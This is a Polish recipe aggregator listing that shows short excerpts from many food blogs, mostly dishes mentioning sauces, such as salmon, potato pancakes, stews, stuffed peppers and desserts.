ubiegłorocznej passaty , w tym roku przygotowałam jej zdecydowanie więcej. Łącznie coś ok. 40kg pysznych, mięsistych pomidorów, zamkniętych w mniejszych i większych słoikach znajdzie swe zastosowanie jako dodatek do zup, sosów itp. To taka zdrowsza alternatywa dla pomidorów puszkowych. Moje tegoroczne pomidory były tak słodkie (to chyba za sprawą bardzo słonecznego i ciepłego lata), że aż żal byłoby ich nie przetworzyć

Smaczne Zdrowe
Łosoś pieczony w białym winie, cytrynie i koperku 216

pieczemy przez około 15 minut. Po upieczeniu można zlać płyn z naczynia na patelnię, dodać odrobinę soku z cytryny, posiekanego koperku i łyżkę masła - w ten sposób powstanie sos (już niekoniecznie niskokaloryczny ;)). Łososia podajemy z cząstką cytryny. Wybór dodatków zależy już tylko i wyłącznie od Was :) Na naszych talerzach pojawił się ryż oraz fasolka szparagowa delikatnie okraszona masełkiem. Smacznego

W kuchni Katie
Domowy drożdżowy chlebek na bazie dyni hokkaido 216

właśnie dynia radośnie wkracza do naszej kuchni ze swoją różnorodnością gatunków, kształtów i smaków. Jest niezwykle wszechstronna – zakup jednej dorodnej sztuki to dobra inwestycja, z której zrobisz zupę, sos do obiadu i jeszcze wystarczy na pyszny deser. A skoro o deserach mowa, mam to dla Ciebie pyszny przepis na domowy drożdżowy chlebek na bazie dyni hokkaido, i choć na pierwszy

Roślinna - blog wegański
Placki ziemniaczane z czosnkiem i świeżym majerankiem 154

oleju, do momentu uzyskania efektu przyrumienienia. Placki ziemniaczane z czosnkiem i świeżym majerankiem przygotowane według tego przepisu podaję same, bez dodatków. Ich smak i aromat zastępuje wszelkie sosy. Smacznego :) Przepis dodaję do akcji kulinarnych

Smak mojego domu
Warstwowa kanapka z ciabatty z suszonymi pomidorami 168

udział i gotowałam na żywo zakończona, ale pomyslów mi nie brakuje. Dzisiaj na drugie śniadanie przygotowałam ciabattę z dodatkami, wyszło kolorowo, kanapka po brzegi wypełniona warzywami, mozzarellą, bez zbędnych sosów.  Przypomniała mi się wycieczka do Brukseli, kiedy to, przejeżdżając przez miasto niemal na każdym kroku widoczne były Sandwicherie, sklepy ze świeżymi kanapkami  czy sałatkami zapakowanymi w przezrosczyste opakowania

Moja smaczna kuchnia
Focaccia z figami, cebulą i macierzanką 212

ciasto z  figami, cebulą cukrową i tymiankiem. Zwykła cebula biała lub czerwona też będzie dobra. Focaccia najlepiej smakuje na ciepło, można je podać z oliwą, pesto lub domowym sosem warzywnym. Na zimno będzie znakomitą bazą do kanapek... jak każde pieczywo :) . Focaccia z figami i cebulą rewelacyjnie łączy się z pastami serowymi i mozzarellą, wystarczy dodać listek sałaty i smaczna

SzczyptaSmaQ
Gulasz z kurczakiem i warzywami / Chicken and vegetable stew 242

Uwielbiam go do tej pory i jak jestem głodna, to jest to mój pierwszy pomysł na sycące danie:) Nic dziwnego, kurczak lub mięciutka karkówka i ulubione warzywa w pysznym sosie śmietanowo-pomidorowym. W tym przepisie użyłam cukinii, bakłażana, papryki, fasolki i pieczarek, chociaż zazwyczaj dodaję to co akurat mam w lodówce. Gulasz świetnie się mrozi, więc proponuję zrobić więcej, żeby

karmelowy
Papryka faszerowana 184

Składniki: 7 dag mięsa mielonego, wieprzowego (łopatka) 2 cebule 3 ząbki czosnku 250 ml przecieru pomidorowego kilka kropel sosu Tabasco zioła dalmatyńskie lub prowansalskie pół pęczka natki pietruszki 1 torebka ryżu 4 średnie papryki ser żółty według uznania (gouda, mozarella) sól olej Sposób wykonania: Na rozgrzanym oleju zeszklić cebulę pokrojoną w kostkę razem z wyciśniętym czosnkiem. Następnie dodajemy mięso

Qchnia po prostu
Knedle ze śliwkami zapiekane z kruszonką migdałową 181

zapiekane z kruszonką migdałową, to wersja dla tych, którzy nie jadają (nie lubią) masła, śmietany, czy jogurtu… i nie tylko. Śliwki, które użyłam do knedli były bardzo soczyste, więc sos przez nie wytworzony sprawił, że nie odczuwa się braku masła, czy śmietany. Jak dla mnie jest to kolejna, wspaniała wersja zawsze mnie intrygującego połączenia – ziemniaków ze śliwkami – czyli knedli. Warto

mojewypiekiinietylko
Łosoś teriyaki na cukiniowym makaronie 149

daniach pora na coś lekkiego. Dla mnie bardzo letnie danie, które nadaje się na każdą porę roku. W końcu nawet w zimie przyda się trochę słońca. filet z łososia sos teriyaki małe cukinie pomidorki koktajlowe czosnek cebula olej sól Ja miałam filet ze skórą, więc zaczęłam od jej zdjęcia. Całość

Polska Zupa
Kolorowa terrina jogurtowa 169

posiekany czosnek, dopraw solą i pieprzem i chili, wymieszaj z żelatyną rozpuszczoną, przełóż do formy (ja zastosowałam dużą miskę) i odstaw na 4 godz do lodówki. podawaj z ostrym sosie

Camilla w kuchni
Podwędzany stek Bavette z bobem i papryką 145

kulinarnym Smolna 8, z którego jest najpiękniejszy widok na panoramę Warszawy. Podczas warsztatów, oprócz p odwędzanego steka Bavette z bobem i papryką przygotowaliśmy również: pieprzowy stek z antrykotu z sosem baernaise i rzymską sałatą polędwica wołowa a`la Wellington z esencją cabernet sauvignon i ziołami club sandwich z pręgi z chrzanem i ogórkami małosolnymi Philli cheese steak z konfiturą pomidorową

królestwo garów
Żytnia tarta z kurkami, porem, cebulą i koperkiem 239

zmaleje i puszczą one sok, dorzucamy cebulę, koperek i ziemniaki. Doprawiamy i smażymy do czasu, aż cała woda odparuje. Na podpieczony spód wykładamy gotowy farsz. Zabieramy się za robienie sosu a'la beszamel. Składniki na a'la beszamel: - 190ml mleka (krowiego, sojowego) - 2 jajka - 2 łyżki śmietany 12% - 2 łyżki parmezanu - pół pęczka koperku - 2 łyżeczki ziół prowensalskich Rozbełtujemy jajka

Be Fit Be Strong
Jajko w koszulce 199

smaku dresing z oliwy ( oliwa,przyprawy zioła według uznania ,odrobina cukru i kilka kropel cytryny wymieszać) Sposób wykonania Papryki  kroje w cienkie plasterki, oliwki na połówki . Polewam to sosem (można też tylko oprószyć solą ,pieprzem i skropić cytryną) Teraz ważne gotujemy wodę w rondelku tylko tyle aby zakryło jajko (można do zimnej włożyć jajko w skorupce ,jeśli będzie zakryte

Eli Gotowanie
Łosoś w sosie z bobu 165

zmiksowanego bobu dolewam ogrzany jogurt ( ogrzany aby nie zważył się ) podgrzewam całość aby połączyły się składniki . Sól ,pieprz i sok z cytryny do smaku . Na talerz  przelewam sos przez sito ,jest wtedy gładki ,aksamitny, pozbawiony grudek . Na to kawałek łososia  i lekka kolacja gotowa

Eli Gotowanie
Mazowiecka polewka z przecieruchów 124

dodaje cebulę , jeszcze chwilkę smażę .Wlewam do gotujących sie kluchów , jeśli jakiś przypraw brakuje to dodaje .    Same przecieruchy  wyglądają tak Można je podać ze skwarkami lub sosem do mięsa

Eli Gotowanie
Pekińska z pieczarkami 354

paski Pokrojona kapusta i pieczarki z cebulą (już podsmażone) Dodaje jogurt wymieszany z musztardą .Szczypta soli i pieprzu . Całość dokładnie mieszamy. Efekt końcowy. Zdarza mi się doprawić 1 łyżką sosu sojowego ciemnego

Eli Gotowanie
Sałatka z zielonych pomidorów i papryki 158

prędzej zmiękły i sok puściły. Zmniejszam gaz i dodaje pomidory , Na małym ogniu smaze wszystko razem jeszcze ok, 10 minut ,cały czas mieszam , No koniec dosalam ( mozna dodać sosu sojowego zamiast soli) i odrobina pieprzu też się przyda . To wszystko  ŻYCZĘ SMACZNEGO

Eli Gotowanie
Schabowe pałeczki 183

mleka 1/2 łyzeczki soli Wykonanie z wymienionych składników zagniatam ciasto.Rozwałkowuje go na grubość ok, 2 mm. Kroję paski 2 cm i w poprzek na ok 15 cm Składniki sosu 20 dkg schabu  ( ok 3 cienkich plastrów schabu) 1 papryka 1 cebula 1 pomidor 4 listki bazylii ( w granicach) oliwa do smażenia i duszenia sól pieprz Wykonanie paprykę ,cebulę

Eli Gotowanie
Jajko na szynce 164

już nie spadnie) Zmiejszam ogień i przykrywam pokrywką po kilku minutach potrawa jest gotowa . Tylko przyprawić solą i pieprzem ,jakiś pomidorek czy kak w tym przypadku posiekana kapusta z sosem bazyliowym i gotowe

Eli Gotowanie
Filet indyka faserowany 179

bułki tartej 1 mały słoiczek musztardy ostrej 1 łyżeczka masła 1 cebula 2-3 ząbki czosnku 1 łyżka soli, 1/2 łyżki pieprzu łyżka majeranku olej do smażenia 1 łyżka sosu sojowego ciemnego 1/2 łyżeczka pieprzu ziołowego Wykonanie   Krok 1 . sól,pieprz i majeranek  mieszam.   Krok 2 .  tą mieszanką oprószam  obydwa filety i odkładam do lodówki

Eli Gotowanie
Placki z twarogiem 207

soli,wlewam kefir i wbijam jajka . Wszystko miksuję na jednolitą masę . Gęstość musi być taka jak jogurt grecki. Na rozgrzaną patelnię wlewam na środek ciasto ( ja stosuje łyżkę do sosów- mała wazowa) pozwalam aby swobodnie rozpłynęło się . Placek powinien mieś średnicy ok,15cm. ( jeśli jest większy to też nie problem)  Do drugiej miski wkładam twaróg , jogurt mieszam aby składniki

Eli Gotowanie
Naleśniki pikantne 195

miksturą naleśniki . wkladam do rozgrzanego do 250 stopni piekarnika na 15 minut ( ser musi sie rozpuścić .) Przekąska gotowa ,jednakowo smaczna na zimno i na cieplo . Trochę keczupu lub innego sosu ostrego podniesie smak potrawie

Eli Gotowanie
Kapuściany kotlet 179

pokrojoną w kostkę i podsmażoną cebulę i dokładnie wszystko mieszam . Formuję kotlety i smażę na rozgrzanej patelni ok 2 minut z każdej strony. . To wszystko . Mozna podawać z ostrym sosem , keczupem, surówką. Całkowita dowolność

Eli Gotowanie
Kotlet ziemniaczany 167

cebulę i skwarki , dokladnie mieszam . Formuję kotlety i smażę je z obydwu stron na rozgrzanej patelni po 2-3 minuty . Podaję z ostrymi dipami lub śmietaną , keczupem albo jakimś sosem

Eli Gotowanie
Tortilla 152

pieprz do smaku Wykonanie  sałate wymyć i porwać na cząstki. Pomidory pokroić w półkrąrzki, cebulę w piórka , filet w paski . Doprawić solą i pieprzem . Dobrze wymieszać . Placek posmarować sosem chrzanowym. Następnie położyć sałatkę ,zwinąć . Smacznego

Eli Gotowanie
Filet faszerowany warzywami 170

poddusić ok 5 minut.             Warzywa nie muszą być miękkie .  Krok 4 . Przełożyć warzywa do miseczki (bez sosu który został po duszeniu) dodać musztardę ,wymieszać . Popróbować jeśli potrzeba doprawić przyprawami .  Krok 5 . Na rozbity kotlet układać warzywa ,rozprowadzić i zwinąć. Krok 6 . Jajko rozkłucić widelcem. Rozgnieść płatki

Eli Gotowanie
Zrazy z mielonej wieprzowiny. 196

strony na rumiano .  Jak zrazy będą obsmażone dolać trochę wody lib rosołu i poddusić ok 10 minut na wolnym ogniu.  Można je podawać na ciepło np. z sosem grzybowym ale również smakują na zimno

Eli Gotowanie
Sałatka z lebiodą 156

cukier i sok dobrze wymieszać . 2 . Warzywa umyć . pomidor i ogórek pokroić w pół talarki , Fetę w kostkę ,szczypior drobno. 3 . Na talerz ułożyć sałatę ,pomidor i ogórek . polać sosem . Delikatnie wymieszać .Następnie wyłożyć fetę i posypać szczypiorem .  4 . Ozdobić lebiodą i koperkiem

Eli Gotowanie
Roladki drobiowe 169

Dusić warzywa ok 5 minut         Na koniec włożyć roladki i jeszcze  dusić ok   10 minut na wolnym ogniu.    Sos można podprawić śmietana lub jogurtem .  Wersja tu przedstawiona jest bez       podprawiania

Eli Gotowanie
Placki gryczane 208

kasza będzie rozdrobniona. Jeśli potrzeba   doprawić . - Rozgrzać patelnię , kłaść łyżką masę , uformować cienkie placki ( urosną) . Smażyć na brązowy    kolor   z każdej strony.  Podawać z sosem pieczarkowym , grzybowym ,gulaszowym lub z serkiem na ostro

Eli Gotowanie
Śledziowa pasta 177

Coś szybkiego i coś łatwego na kanapkę . Nie znam łatwiejszego smarowidła kanapkowego . Składniki 2 jajka 1 puszka śledzi w sosie pomidorowym 1 ogórek konserwowy  1 łyżeczka musztardy ostrej pieprz do smaku  sól ( nie koniecznie ponieważ śledzie są słone) Wykonanie  -   Ugotować jajka -   Ogórek zetrzeć na tarce o drobnych oczkach lub posiekać . -   Do miseczki przełożyć

Eli Gotowanie
Ryżowe placki 196

smażyć z obydwu stron na     zloty kolor po ok 2 minuty z każdej strony. Placki dobre są na ciepło i na zimno . Podawać je można z sosami , kwaśna śmietaną ,lub jak w moim wydaniu z sałatka z lekko podduszonej marchewki i pora

Eli Gotowanie
Pieczarki faszerowane. 211

Kłaść na rozgrzaną patelnie   stroną farszu. Smażyć na złoty kolor , odwrócić na druga stronę . Smażyć do zrumienienia. Smakują dobrze na ciepło i na zimno. Jeszcze lepiej smakują z sosem ostrym lub dipem .   Pieczarka to nie tylko walor smakowy ale również leczniczy.  Nie dawno trafiłam na artykuł z którego dowiedziałam się , że ten niepozorny grzybek zawiera spore ilości

Eli Gotowanie
Schab pieczony na patelni. 205

Lubię w ten sposób przyrządzać kawałek , dobrego chudego mięska. Idealny na kanapki i z sosem na  obiad. W galarecie też go robiłam , smakuje idealnie. Składniki kawałek schabu 3 łyżki soli 3 łyżki pieprzu 3 łyżki majeranku 4-5 marchewek 4-5 pasternaku 1 seler naciowy 1 por 5-6 łyżek oleju rzepakowego 2 cebule 1 główka czosnku Wykonanie - Sól

Eli Gotowanie
Schabowe jajko 204

wykałaczką. -  Obsmażyć z każdej strony   -  Do podsmażonych schabowych dodać pokrojone pieczarki ,cebule ,seler - Podlać szklanką bulionu lub wody , przykryć .Dusić ok 20 minut. - Uduszone warzywa zmiksować . Sos doprawić według uznania .    Podawać z makaronem ,ryżem lub kasą  i koniecznie surówka

Eli Gotowanie
Placki ziemniaczane 159

proszek do pieczenia i mąkę, dokładnie wymieszać. Smażyć na dobrze rozgrzanym tłuszczu, kłaść po 2-3 łyżki na placek. Można podawać z cukrem na słodko lub na wytrawnie z sosem pieczarkowym lub na wzór "niedźwiedziego jadła" z gulaszem wieprzowym i startym, żółtym serem. Smacznego

Przepysznik - BLW i nie tylko
Włochy: Panna cotta 162

łyżeczki żelatyny w proszku 1 laska wanilii 250 ml śmietanki kremówki (30%) 250 ml mleka 60 g cukru 1 łyżka amaretto 1 łyżka białego wina świeże maliny/truskawki, mus lub sos owocowy Żelatynę rozpuścić w 2 łyżkach zimnej wody i odstawić na ok. 5 minut. W tym czasie rozciąć laseczkę wanilii wzdłuż i końcem noża wyskrobać ziarenka. Śmietankę wraz z mlekiem

Przepysznik - BLW i nie tylko
51 tygodni - Czekoladowe crêpes z kremem chantilly 223

płatków migdałowych, złożyć na pół i jeszcze raz na pół. Z wierzchu również można posypać płatkami i jeśli ktoś lubuje się w dużej ilości czekolady, można jeszcze wierzch polać sosem czekoladowym. Smacznego

Przepysznik - BLW i nie tylko
Naleśniki Gordona Ramsay’a 163

podstawowy i pierwotny przepis, który wychodzi zawsze. Na zdjęciach wersja słodka z serkiem śmietankowym i dżemem truskawkowym zaserwowana małej Tosi oraz wersja z pieczonym kurczakiem, startym żółtym serem i sosem czosnkowym, zaserwowana małżonkowi, który bez mięsa obiadu sobie nie wyobraża. Naleśniki Gordon'a Ramsay'a 300ml mleka 2 jajka 125g mąki pszennej 30g rozpuszczonego masła Mleko z jajkami zmiksować

Przepysznik - BLW i nie tylko
Mazurek kajmakowy 216

łyżka gęstej kwaśnej śmietany 18% 2 żółtka puszka mleka skondensowanego słodzonego ozdoby (u nas migdałowe i czekoladowe jajeczka, ale równie dobrze zdadzą egzamin migdały, suszone owoce, wiórki kokosowe i sos czekoladowy) Mąkę przesiać i wrzucić do niej masło, posiekać, dodać śmietanę, żółtka i słodzidło, po czym zagnieść i wstawić do lodówki na co najmniej godzinę. Po tym czasie wyłożyć

Przepysznik - BLW i nie tylko
Zapiekanka ryżowa z tuńczykiem i szpinakiem 202

tuńczykiem i szpinakiem (około 4 porcje) 1 łyżka oliwy z oliwek 1 cebula, posiekana 1 szklanka ryżu basmati  2 szklanki bulionu 400 g tuńczyka z puszki w sosie własnym 120 g (około 1/2 szklanki) suszonych pomidorów 200 g sera mozzarella 50 g parmezanu 100 g mrożonego szpinaku 2 ząbki czosnku 3 jajka Szpinak wrzucić do garnka, rozmrozić i odparować

Przepysznik - BLW i nie tylko
Paprykarz z kaszy jaglanej 205

gotować kaszę jaglaną na garnki. Paprykarz z kaszy jaglanej 1/2 szklanki kaszy jaglanej 2 marchewki pietruszka cebula passata albo pomidory krojone z kartonika 2 ząbki czosnku 2 łyżki dobrego sosu sojowego łyżka oliwy z oliwek przyprawy (łyżeczka słodkiej papryki, 1/4 łyżeczki chili, pieprz ziołowy, łyżka majeranku) Kaszę jaglaną trzeba przed gotowaniem przepłukać na sicie pod zimną wodą, a następnie przelać

Przepysznik - BLW i nie tylko
Młoda kapusta 208

lubi słodszą kapustę), dokładnie wymieszać. Wierzch kapusty oprószyć dwoma łyżkami mąki pszennej, szybko i dokładnie wymieszać i zagotować podkręciwszy nieco ogień, żeby wszystko razem zgęstniało. Stworzy się bardzo fajny sos. Na koniec wrzucić pokrojony pęczek koperku. Gotować przez chwilę, po czym wyłączyć i odstawić, żeby się "przegryzła" i nabrała odpowiedniego smaku. Podawać jako dodatek do obiadu, najlepiej komponuje się

Przepysznik - BLW i nie tylko
Naleśniki z brokułem 308

wąską stróżką wlać rozpuszczony tłuszcz. Smażyć cienkie naleśniki na patelni delikatnie posmarowanej dowolnym tłuszczem, z każdej strony na złoty kolor. Każdego naleśnika wysmarować farszem i zwinąć w rulon, polać sosem i zajadać. Nam najbardziej smakują, jak farsz nałożymy na gorącego naleśnika prosto z patelni. Smacznego

Przepysznik - BLW i nie tylko
La Tomatina i zupa pomidorowa 188

nieco przydługi wstęp, zapraszam na jakże prosty i oczywisty przy tej okazji przepis na zupę ze świeżych pomidorów. Teraz jest czas na pomidorowe szaleństwo, na robienie domowego keczupu, zupy, sosów i innych cudów z pomidorem w roli głównej! Zupa pomidorowa 1,5kg świeżych, dobrze dojrzałych pomidorów mięso rosołowe (udko z kurczaka + kawałek wołowiny rosołowej) pieprz w ziarnach 2 ziarenka ziela

Przepysznik - BLW i nie tylko
Żeberka wieprzowe pieczone z papryką i pieczarkami w marynacie sojowej. 179

mięso, mojej córki również. Dlatego bardzo często gości na naszym stole.   Skłądniki; 1 kg żeberek wieprzowych 1 czerwona papryka kilka pieczarek 1 cebula     Marynata; pół szklanki sosu sojowego 3 ząbki czosnku pół szkl. wody sól, pieprz, 3 łyzki miodu   Mieso myjemy a następnie czelimy na porcje po dwie kosteczki. Przekłądamy do miski. Wszystkie składniki marynaty mieszamy

Radość kipiąca uśmiechem.
Szparagowe paluszki. 146

olejem i układamy szparagi aby na siebie nie nachodziły. Wstawiamy do nagrzanego piekarnika do 190 C i pieczemy do zrumienienia około 15 minut. Najlepiej smakują na ciepło z ulubionym sosem lub bez.    Ja wybrałam białe szparagi ,ponieważ tylko takie dostałam w sklepie ale zielone oczywiście także mogą być. Tylko jedna wskazówka; kiedy obieramy białe szparagi robimy

Radość kipiąca uśmiechem.
Omlet ze szparagami i młodymi ziemniaczkami. 182

przypieka a na wierzchu nadal mamy płynne jajka wtedy na kilka minut wkłądamy do dobrze nagrzanego piekarnika. Chwile studzimy i podajemy. Można polac ketchupem lub swoim ulubionym sosem.   Smacznego! zróbcie jak najszybciej bo sezon na szparagi już powoli dobiega końca

Radość kipiąca uśmiechem.
Kotleciki selerowo - cukiniowe. 126

dodac jajka, majonez i mąke. Wszystko dokładnie wymieszać. Jeśli masa jest za rzadka wtedy dodajemy jeszcze mąki. Wykładamy na patelnie i smażymy z obu stron na rumiano. Podajemy z sosem chrzanowym lub majonezowym.     Smacznego

Radość kipiąca uśmiechem.
Pieczona piers z młodej gęsi z nuta cynamonowa. 150

Mięso przekładamy do naczynia żaroodpornego, na wierzch układamy gałązki rozmarynu i zalewamy ok 50 ml. wody. Przykrywamy i pieczemy w 180C do miekkosci czyli około 1 godz. Powstały sos można zlac i zagescic mąką a następnie polac nim pokrojone w plastry mięso.   Podawać do pieczywa lub po prostu jako dodatek do drugiego dania.   Smacznego

Radość kipiąca uśmiechem.
Najprostsza sałatka śledziowa. 336

mocno solne śledzie lubicie) Cebule w kostke, można zostawić kilka plasterków do dekoracji. Ogórki również kroimy w kostke. Wszystkie składniki ze sobą łączymy i mieszamy delikatnie z sosem majonezowo - musztardowym. Doprawiamy do smaku.   Smacznego

Radość kipiąca uśmiechem.
Szybka carbonara z chorizo / Easy chorizo carbonara 192

hiszpańskiego, gdzie kupiłam mnóstwo cudownych produktów, od chorizo zaczynając na owczym serze kończąc. Przedstawiam więc szybką i łatwą alla carbonarę, z pysznym podrumienionym chorizo, sezonową fasolką szparagową w jajecznym sosie z serem Manchego, który można zamienić na inny ulubiony ser żółty. Doskonały pomysł na obiad dla zabieganych lub dzieciatych (z dedykacją dla Izabeli:)), gdyż jego przygotowanie trwa dosłownie chwilę. Polecam

karmelowy
Rollsy z szynką i serem 195

tortilli, 3 łyżeczki musztardy Sarepskiej, 4 łyżki majonezu, 16 plastrów szynki, 8 plastrów sera, garść posiekanej natki pietruszki, olej lub oliwa Wykonanie: Musztardę mieszamy razem z majonezem. Gotowym sosem smarujemy placki tortilli następnie posypujemy natką pietruszki. Na każdą tortillę układamy 4 plastry szynki i 2 plastry sera. Zwijamy w rulonik. Na wierzchu smarujemy oliwą lub olejem. Zapiekamy w piekarniku

Passion of Cooking
Pasta do chleba- twaróg, ryba i suszone pomidory 175

Pomysł na szybkie smarowidło kanapkowe, do tego zdrowe i "niewymagające"? Tak jest- twaróg z dodatkami. Składniki -twaróg -puszka ryby w sosie pomidorowym -kilka suszonych pomidorów -sól i pieprz do smaku Z podanym składników utrzeć pastę, ja włożyłam wszystko do robota i tak w niecałą minutkę miałam zdrową i pyszną pastę na kanapki. W miseczce od PORCELANA BOGUCICE prezentuje się smacznie

Z Kuchni Do Kuchni
Tort bezowy ze śliwkami 324

małym ogniu, często mieszając. Kiedy śliwki puszczą dużo soku i zaczną się rozpadać zmiksować blenderem przyprawiając cynamonem (ilość wg gustu). Wystudzić i połączyć z alkoholem. Odlać 1/4 szklanki sosu śliwkowego. Zimną kremówkę i serek mascarpone włożyć do misy miksera. Ubić na sztywno i delikatnie wmieszać mus śliwkowy. Dodając go stopniową do ubitej kremówki. Włożyć krem do rękawa cukierniczego. Blaty bezowe

https:KKuchniaMniam
Piekielna soczewica na śniadanie 207

zdecydowanie wolę te świeże, zwłaszcza teraz, kiedy są najsmaczniejsze. Trzeba tylko chwilę poczekać, aż woda z pomidorów nieco odparuje, choć może warto odrobinę jej zostawić – powstanie wówczas aromatyczny sos do maczania chleba. Składniki: 2/3 szklanki czerwonej/zielonej/czarnej soczewicy 3 średnie pomidory 3 ząbki czosnku 1 papryczka chili 1 łyżka oliwy odrobina soli do smaku mały pęczek natki pietruszki Soczewicę ugotuj według

Roślinna - blog wegański
22 NAJLEPSZE PRZEPISY Z ZIEMNIAKAMI 301

ziemniaczano-pieczarkowym 11. Ziemniaki faszerowane i z jajkiem 12. Sałatka jarzynowa 13. Knedle z serem 14. Zupa ziemniaczana z grzybami 15. Knedle z mięsem i porem podane z szafranowym sosem 16. Sałatka "Grzybowa polana" 17. Ruskie pierogi 18. Poznański gzik 19. Placki ziemniaczane 20. Shepherd's Pie, zapiekanka ziemniaczano-mięsna 21. Ruskie naleśniki 22. Tymiankowe gnocchi z ricottą i groszkiem

Przepisy Aleksandry
Nadziewane brzoskwinie 191

dodajemy drobno posiekane oliwki, ryż i dokładnie mieszamy. Oliwę mieszamy z połową soku z cytryny, drobno posiekanym porem i przeciśniętym przez praskę, czosnkiem. Do smaku doprawiamy solą i pieprzem. Sosem polewamy ryż z mięsem i oliwkami, mieszamy, wstawiamy do lodówki na 2-3 godziny. Brzoskwinie myjemy, osuszamy papierowym ręcznikiem, odcinamy wierzch, przy pomocy łyżeczki delikatnie usuwamy pestki, wydrążamy miąższ, który

R'n'G Kitchen
Ciasto oreo & reese's & peanut butter - bez pieczenia! 225

obwijamy folią spożywczą i wkładamy do zamrażalki na minimum 3 godziny. Ciasto należy wyciągnąć ok. 10 minut wcześniej z zamrażalki przed jego podaniem. Wierzch ciacha polecam ozdobić smakowitym karmelowym sosem

Emcia Pichci
Knedle pierogowe ze śliwkami 186

ciasta dodałam przyprawę z imbirem i skórką pomarańczową, nadała ona daniu super smaczku, polecam:)  Przyprawę   kupicie w tym sklepie KLIK  Nie zapomnijcie o konkursie, sosy Folwark zapraszają :)KLIK  Knedle pierogowe ze śliwkami 500 g ugotowanych ziemniaków 300 g mąki pszennej + na podsypanie ½ łyżeczki przyprawy z przyprawy Deluxe z imbirem i skórką pomarańczową  po szczypcie soli

Takie tam pichcenie
Kotlety wołowe z kuskusem i miętą 221

Idealna propozycja na letni, orzeźwiający obiad. Kuskus, znajdujący się w środku, sprawia, że kotlety mogą stanowić samodzielne danie. Ja jednak polecam je z grzankami i sosem tzatzyki . Idealne nadaje się również na grill na świeżym powietrzu. Składniki: 400g chudej wołowiny 100g kaszy kuskus pęczek mięty pęczek pietruszki 1 łyżeczka mielonego kminku sól i pieprz 1. Kaszę solimy i zalewamy wrzątkiem

Perfect home life
Spaghetti alla bolognese 169

dusić 5 minut. Usmażoną cebulę wymieszać z mięsem. Dodać pomidory w zalewie, czosnek i bazylię . Wymieszać, dusić ok. 20 minut. Makaron ugotować w wodzie z dodatkiem soli. Odcedzić, polać sosem, posypać parmezanem, ozdobić świeżą bazylią. Smacznego. Podoba Ci się ten przepis? Pokaż go innym kliknij,, Udost ępnij” i ,,Lubi

Smaczne Potrawy
Gołąbki w sosie pomidorowym 354

Gołąbki w sosie pomidorowym to potrawa półmięsna z farszu zawiniętego w rolki z liści białej kapusty głowiastej. Danie syte, bardzo pyszne w sam raz na niedzielny obiad. Składniki: Farsz 1 kg. mięsa wieprzowego duża główka kapusty włoskiej szklanka ryżu sól pieprz 2 jaja łyżka oleju Przygotowanie: Przygotować farsz: mięso opłukać, osuszyć, zmielić, doprawić solą, pieprzem. Umyć ryż i obgotować

Smaczne Potrawy
Placki ziemniaczane 139

lepiej strawne można je wyciągać do naczynia wyłożonego ręcznikiem papierowym. Także utarte na grubej tarce ziemniaki będą wciągać mniej tłuszczu. Placki ziemniaczane p odajemy ciepłe z keczupem, śmietaną, lub sosem. Smacznego. Podoba Ci się ten przepis? Pokaż go innym kliknij ,,Udostępnij” i ,,Lubię

Smaczne Potrawy
Spaghetti alla bolognese 138

dusić 5 minut. Usmażoną cebulę wymieszać z mięsem. Dodać pomidory w zalewie, czosnek i bazylię . Wymieszać, dusić ok. 20 minut. Makaron ugotować w wodzie z dodatkiem soli. Odcedzić, polać sosem, posypać parmezanem, ozdobić świeżą bazylią. Smacznego. Podoba Ci się ten przepis? Pokaż go innym kliknij,, Udost ępnij” i ,,Lubi

Smaczne Potrawy
Calzone z mięsem i warzywami 156

blaszce wyłożonym papierem do pieczenia . Na talerzu roztrzepać jajko, posmarować ciasto. Włożyć do nagrzanego piekarnika i p iec w temperaturze 200 stopni przez około 30 minut. Do calzone podajemy sos pomidorowy i wino. Smacznego. Podoba Ci się ten przepis? Pokaż go innym kliknij,, Udostępnij” i ,,Lubię

Smaczne Potrawy
Krokiety ziemniaczane 172

Krokiety ziemniaczane z serem, kiełbasą i jajkiem to doskonałe danie na bardzo pyszny i apetyczny obiad. Polecam podawać go np. z sosem koperkowym, czosnkowym bądź grzybowym. Najlepiej do krokietów smakuje surówka z kapusty peki ń skiej. Składniki: 1 kg. ugotowanych ziemniaków 250gr. mąki pszennej 4 jajka 1 pętko kiełbasy 10 dkg. sera żółtego przyprawy: sól, świeżo mielony czarny pieprz, gałka

Smaczne Potrawy
Zapiekane ziemniaki z niespodzianką 161

Zapiekane ziemniaki z niespodzianką, czyli ziemniaki z serem, szynką i bekonem. Przepis ciekawy na pyszny i syty obiad. Najlepiej smakują ze śmietaną lub z sosem czosnkowym. Pięknie i elegancko prezentują się na stole. Składniki: 5 ziemniaków 50 gr. szynki 100 gr. bekonu 50 gr. sera edamskiego sól pieprz oregano Przygotowanie: Pokroić w plasterki szynkę i bekon natomiast ziemniaki obrać

Smaczne Potrawy
Łatwe leczo z papryki i kiełbasy 203

kiełbasy na smaczny obiad. Podawać na ciepło z ziemniakami, ryżem lub pieczywem, ozdobione zieloną pietruszką. Składniki: 5 sztuk papryki ( podłużnej, kolorowej ) 2 cebule 1 puszka całych pomidorów w sosie własnym ( 8 świeżych mięsistych pomidorów) 2 pętka kiełbasy ( wiejskiej, swojskiej) oliwa z oliwek zioła prowansalskie sól pieprz ostra i słodka papryka w proszku Przygotowanie: Paprykę i pomidory umyć. Pomidory sparzyć, usunąć

Smaczne Potrawy
Gulasz wieprzowy z kluseczkami 145

Najważniejszym składnikiem w gulaszu jest papryka w proszku w dość sporej ilości, aby potrawa utrzymana była w ostrym smaku. Następnym ważnym składnikiem jest cebula większa ilość dodana tworzy naturalny sos. Węgrzy zazwyczaj podają ją z lanymi kluskami, wtedy danie jest wydajne i bardziej treściwe. Składniki: Gulasz: 1 kg. łopatki wieprzowej bez kości 2 cebule 2 ząbki czosnku 5 łyżeczek słodkiej

Smaczne Potrawy
Kotlety panierowane w plackach ziemniaczanych 180

ziemniaczanej panierować  piersi z kurczaka nie jest to proste ale warto się  pomęczyć  Smażyć na rozgrzanym oleju  Na średnim ogniu Podawać można  z dowolnym sosem ketchupem lub bez dodatków

W królestwie smaków Beaty
Polędwiczka wieprzowa duszona w białym winie 157

białym winie to bardzo ciekawy pomysł na obiad. Zwłaszcza świąteczny lub na jakąś szczególną okazję, bo trzeba poświęcić na jej przygotowanie trochę czasu. Wbrew tytułowi może zadziwiać kolor sosu, ale wytłumaczenie jest proste: do duszenia użyłam również bulionu wołowego, bo akurat taki miałam w domu.   Składniki: polędwiczka wieprzowa 1 łyżka suszonego majeranku kilka gałązek świeżego tymianku 1 cebula

Pasja Smaku
